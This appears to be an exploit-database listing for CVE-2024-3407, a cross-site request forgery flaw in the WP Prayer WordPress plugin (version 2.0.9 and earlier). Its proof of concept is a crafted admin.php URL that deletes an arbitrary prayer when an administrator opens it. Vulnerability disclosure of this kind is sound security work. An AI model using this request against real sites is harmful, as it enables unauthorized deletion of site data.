Exploit for WP Prayer <= 2.0.9 - Arbitrary Prayer Deletion via CSRF CVE-2024-3407

Name: Exploit for WP Prayer <= 2.0.9 - Arbitrary Prayer Deletion via CSRF CVE-2024-3407
Rating: 5 (33 reviews)

2024-04-24 | CVSS 6.8

## https://sploitus.com/exploit?id=WPEX-ID:262348AB-A335-4ACF-8E4D-229FC0B4972F
Make and admin open a URL where `<PRAYER_ID>` is any valid prayer ID:

https://example.com/wp-admin/admin.php?page=wpe_manage_prayer&doaction=delete&prayer_id=<PRAYER_ID>